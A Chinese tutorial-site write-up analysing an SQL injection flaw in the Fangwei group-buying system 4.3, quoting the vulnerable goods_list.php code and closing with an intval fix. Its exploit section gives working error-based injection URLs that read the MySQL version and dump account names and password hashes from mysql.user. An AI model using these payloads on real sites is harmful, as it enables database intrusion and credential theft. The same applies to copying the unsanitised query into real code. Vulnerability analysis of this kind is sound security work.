网站地图    收藏   

主页 > 入门引导 > 黑客攻防 >

方维团购4.3最新版sql分析 - 网站安全 - 自学php

来源:自学PHP网    时间:2015-04-15 15:00 作者: 阅读:

[导读] 很久没上论坛了,今天看到了发布的方维团购4 3最新版sql注入漏洞利用工具好吧,根据撸主的信息,加上之前有分析过方维,很快就定位到了 app source goods_list php 团购分类 $side...

很久没上论坛了,今天看到了发布的方维团购4.3最新版sql注入漏洞利用工具
好吧,根据撸主的信息,加上之前有分析过方维,很快就定位到了
\\app\source\goods_list.php


\\app\source\goods_list.php
 
​
//团购分类
3.$sidegoodscatelist = getGoodsCate(" and pid=0 ");
4. $catepid = 0;//分类ID
5. $pid = 0;//顶级分类ID
6. $sub_cate_list = array();//次级分类
7.$is_top_cate = 0;//是否是顶级分类
8.if($_REQUEST['m'] =="Goods" && $_REQUEST['a'] == "showcate" && $_REQUEST['id']!="")
9. {
10. $catepid = $_REQUEST['id']; //用来获取接收的参数id
11. foreach($sidegoodscatelist as $k => $v){
12. if($v['id']==$catepid)
13. {
14. $is_top_cate=1;
15. }
16. }
17.  
18. if($is_top_cate==0)
19. {
20. $sub_cate_list = getGoodsCate(" and pid=".$GLOBALS['db']->getOne("select pid from " . DB_PREFIX . "goods_cate where id=".$catepid));
21. //执行了select pid from " . DB_PREFIX . "goods_cate where id=."$_REQUEST['id']"
22. //导致了注入的发生
23.foreach($sub_cate_list as $kk => $vv)
24. {
25. if($vv['id']==$catepid)
26. {
27. $pid = $vv['pid'];
28. }
29. }
30. }
31. else
32. {
33. $sub_cate_list = getGoodsCate(" and pid=".$catepid);
34. $pid = $_REQUEST['id'];
35. }
36. }
37. $GLOBALS['tpl']->assign('sidegoodscatelist',$sidegoodscatelist);
38. //var_dump($sidegoodscatelist);exit;
39. $GLOBALS['tpl']->assign('catepid',$catepid);
40. $GLOBALS['tpl']->assign('sub_cate_list',$sub_cate_list);
41. $GLOBALS['tpl']->assign('is_top_cate',$is_top_cate);
42. $GLOBALS['tpl']->assign('pid',$pid);
43. //end团购分类

可以看到
 
 
if($_REQUEST['m'] =="Goods" && $_REQUEST['a'] == "showcate" && $_REQUEST['id']!="")

假如m=goods,a=showcate并且传递的id值不为空

 
 
$catepid = $_REQUEST['id'];

//用来获取接收的参数id

再带入sql语句

 
 
select pid from " . DB_PREFIX . "goods_cate where id=".$catepid

导致了注入的发生
1
exp:
1.判断mysql版本

 
 
index.php?m=Goods&a=showcate&id=103%20and%20(select%201%20from%20(select%20count(*),concat(version(),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)

3
2.获取mysql账号密码

 
 
index.php?m=Goods&a=showcate&id=103%20and%20(select%201%20from%20(select%20count(*),concat((SELECT%20concat(0x3a,host,0x3a,user,0x3a,password)%20FROM%20mysql.user%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)

2


分析完毕,如果有错的地方请指正

 
 关于修复
 
 
if($_REQUEST['m'] =="Goods" && $_REQUEST['a'] == "showcate" && $_REQUEST['id']!="")
3. {
4. //$catepid = $_REQUEST['id']; //用来获取接收的参数
5.$catepid = intval ($_REQUEST ['id']); //强制转换
6.foreach($sidegoodscatelist as $k => $v){ //foreach as
7. if($v['id']==$catepid)
8. {
9. $is_top_cate=1;
10. }
11. }

 


自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论